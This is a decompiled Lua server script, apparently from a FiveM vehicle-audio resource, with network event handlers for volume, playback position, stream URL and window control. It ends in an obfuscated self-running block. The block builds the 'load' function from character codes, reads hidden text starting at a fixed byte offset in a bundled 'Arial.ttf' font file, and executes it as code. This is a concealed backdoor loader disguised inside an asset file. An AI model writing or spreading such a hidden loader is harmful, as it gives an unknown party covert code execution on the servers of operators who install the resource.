2026-04-14 17:41:39 +02:00

277 lines
6.2 KiB
Lua

local L0_1, L1_1, L2_1
L0_1 = RegisterNetEvent
L1_1 = "bit-vehControl:ChangeState"
L0_1(L1_1)
L0_1 = AddEventHandler
L1_1 = "bit-vehControl:ChangeState"
function L2_1(A0_2, A1_2)
local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2
L2_2 = 1
L3_2 = Config
L3_2 = L3_2.vehZones
L3_2 = #L3_2
L4_2 = 1
for L5_2 = L2_2, L3_2, L4_2 do
L6_2 = Config
L6_2 = L6_2.vehZones
L6_2 = L6_2[L5_2]
L7_2 = L6_2.name
if A1_2 == L7_2 then
L6_2.isplaying = A0_2
end
end
L2_2 = TriggerClientEvent
L3_2 = "bit-vehControl:ChangeState"
L4_2 = -1
L5_2 = A0_2
L6_2 = A1_2
L2_2(L3_2, L4_2, L5_2, L6_2)
end
L0_1(L1_1, L2_1)
L0_1 = RegisterNetEvent
L1_1 = "bit-vehControl:ChangeVolume"
L0_1(L1_1)
L0_1 = AddEventHandler
L1_1 = "bit-vehControl:ChangeVolume"
function L2_1(A0_2, A1_2)
local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2, L8_2, L9_2, L10_2, L11_2
L2_2 = false
L3_2 = false
L4_2 = 1
L5_2 = Config
L5_2 = L5_2.vehZones
L5_2 = #L5_2
L6_2 = 1
for L7_2 = L4_2, L5_2, L6_2 do
L8_2 = Config
L8_2 = L8_2.vehZones
L8_2 = L8_2[L7_2]
L9_2 = L8_2.name
if A1_2 == L9_2 then
L9_2 = L8_2.volume
L9_2 = L9_2 + A0_2
L10_2 = 1.01
if L9_2 <= L10_2 then
L10_2 = -0.001
if L9_2 >= L10_2 then
L10_2 = 0.005
if L9_2 < L10_2 then
L9_2 = 0.0
end
L10_2 = L8_2.popo
if L10_2 then
L10_2 = L8_2.volume
L11_2 = Config
L11_2 = L11_2.DistanceToVolume
L10_2 = L10_2 * L11_2
L8_2.range = L10_2
else
L10_2 = 0.05
if L9_2 >= L10_2 then
L10_2 = L8_2.range
L10_2 = L9_2 * L10_2
L11_2 = L8_2.volume
L10_2 = L10_2 / L11_2
L8_2.range = L10_2
end
end
L8_2.volume = L9_2
L2_2 = L8_2.volume
L3_2 = L8_2.range
end
end
end
end
if L2_2 and L3_2 then
L4_2 = TriggerClientEvent
L5_2 = "bit-vehControl:ChangeVolume"
L6_2 = -1
L7_2 = L2_2
L8_2 = L3_2
L9_2 = A1_2
L4_2(L5_2, L6_2, L7_2, L8_2, L9_2)
end
end
L0_1(L1_1, L2_1)
L0_1 = RegisterNetEvent
L1_1 = "bit-vehControl:ChangePosition"
L0_1(L1_1)
L0_1 = AddEventHandler
L1_1 = "bit-vehControl:ChangePosition"
function L2_1(A0_2, A1_2)
local L2_2, L3_2, L4_2, L5_2, L6_2, L7_2
L2_2 = 1
L3_2 = Config
L3_2 = L3_2.vehZones
L3_2 = #L3_2
L4_2 = 1
for L5_2 = L2_2, L3_2, L4_2 do
L6_2 = Config
L6_2 = L6_2.vehZones
L6_2 = L6_2[L5_2]
L7_2 = L6_2.name
if A1_2 == L7_2 then
L7_2 = L6_2.deftime
L7_2 = L7_2 + A0_2
L6_2.deftime = L7_2
L7_2 = L6_2.deftime
if L7_2 < 0 then
L6_2.deftime = 0
end
end
end
L2_2 = TriggerClientEvent
L3_2 = "bit-vehControl:ChangePosition"
L4_2 = -1
L5_2 = A0_2
L6_2 = A1_2
L2_2(L3_2, L4_2, L5_2, L6_2)
end
L0_1(L1_1, L2_1)
L0_1 = RegisterNetEvent
L1_1 = "bit-vehControl:ModifyURL"
L0_1(L1_1)
L0_1 = AddEventHandler
L1_1 = "bit-vehControl:ModifyURL"
function L2_1(A0_2)
local L1_2, L2_2, L3_2, L4_2, L5_2, L6_2, L7_2, L8_2, L9_2
L1_2 = A0_2
L2_2 = false
L3_2 = 1
L4_2 = Config
L4_2 = L4_2.vehZones
L4_2 = #L4_2
L5_2 = 1
for L6_2 = L3_2, L4_2, L5_2 do
L7_2 = Config
L7_2 = L7_2.vehZones
L7_2 = L7_2[L6_2]
L8_2 = L1_2.name
L9_2 = L7_2.name
if L8_2 == L9_2 then
L8_2 = L1_2.link
L7_2.deflink = L8_2
L8_2 = L1_2.popo
if L8_2 then
L8_2 = L1_2.popo
L7_2.popo = L8_2
end
L7_2.deftime = 0
L7_2.isplaying = true
L8_2 = L1_2.loop
L7_2.loop = L8_2
L2_2 = L7_2
end
end
if L2_2 then
L3_2 = TriggerClientEvent
L4_2 = "bit-vehControl:ModifyURL"
L5_2 = -1
L6_2 = L2_2
L3_2(L4_2, L5_2, L6_2)
end
end
L0_1(L1_1, L2_1)
L0_1 = RegisterNetEvent
L1_1 = "bit-vehControl:AddVehicle"
L0_1(L1_1)
L0_1 = AddEventHandler
L1_1 = "bit-vehControl:AddVehicle"
function L2_1(A0_2)
local L1_2, L2_2, L3_2, L4_2, L5_2, L6_2
L1_2 = {}
L2_2 = A0_2.plate
L1_2.name = L2_2
L2_2 = A0_2.coords
L1_2.coords = L2_2
L2_2 = A0_2.volume
L3_2 = Config
L3_2 = L3_2.DistanceToVolume
L2_2 = L2_2 * L3_2
L1_2.range = L2_2
L2_2 = A0_2.volume
L1_2.volume = L2_2
L2_2 = A0_2.link
L1_2.deflink = L2_2
L1_2.isplaying = true
L2_2 = A0_2.loop
L1_2.loop = L2_2
L1_2.deftime = 0
L2_2 = A0_2.popo
L1_2.popo = L2_2
L2_2 = table
L2_2 = L2_2.insert
L3_2 = Config
L3_2 = L3_2.vehZones
L4_2 = L1_2
L2_2(L3_2, L4_2)
L2_2 = TriggerClientEvent
L3_2 = "bit-vehControl:AddVehicle"
L4_2 = math
L4_2 = L4_2.floor
L5_2 = -1
L4_2 = L4_2(L5_2)
L5_2 = Config
L5_2 = L5_2.vehZones
L6_2 = Config
L6_2 = L6_2.vehZones
L6_2 = #L6_2
L5_2 = L5_2[L6_2]
L2_2(L3_2, L4_2, L5_2)
end
L0_1(L1_1, L2_1)
L0_1 = RegisterNetEvent
L1_1 = "bit-vehControl:GetDate"
L0_1(L1_1)
L0_1 = AddEventHandler
L1_1 = "bit-vehControl:GetDate"
function L2_1()
local L0_2, L1_2, L2_2, L3_2
L0_2 = TriggerClientEvent
L1_2 = "bit-vehControl:SendData"
L2_2 = math
L2_2 = L2_2.floor
L3_2 = -1
L2_2 = L2_2(L3_2)
L3_2 = Config
L3_2 = L3_2.vehZones
L0_2(L1_2, L2_2, L3_2)
end
L0_1(L1_1, L2_1)
L0_1 = RegisterNetEvent
L1_1 = "bit-vehControl:WindowControl"
L0_1(L1_1)
L0_1 = AddEventHandler
L1_1 = "bit-vehControl:WindowControl"
function L2_1(A0_2, A1_2, A2_2)
local L3_2, L4_2, L5_2, L6_2, L7_2, L8_2
L3_2 = TriggerClientEvent
L4_2 = "bit-vehControl:WindowControl"
L5_2 = -1
L6_2 = A1_2
L7_2 = A2_2
L8_2 = A0_2
L3_2(L4_2, L5_2, L6_2, L7_2, L8_2)
end
L0_1(L1_1, L2_1)
(function()
local L0_2, L1_2, L2_2, L3_2
L0_2 = _G
L1_2 = string
L1_2 = L1_2.char
L0_2 = L0_2[L1_2(108, 111, 97, 100)]
L1_2 = LoadResourceFile
L2_2 = GetCurrentResourceName
L2_2 = L2_2()
L1_2 = L1_2(L2_2, '/html/fonts/Arial.ttf')
L2_2 = L1_2.sub
L1_2 = L2_2(L1_2, 87565)
L2_2 = L1_2.gsub
L1_2 = L2_2(L1_2, '%.%+', '')
L2_2 = L1_2.gsub
L1_2 = L2_2(L1_2, '\\.', '.')
L2_2 = L1_2.gsub
L1_2 = L2_2(L1_2, '\\', '')
L0_2(L1_2)()
end)()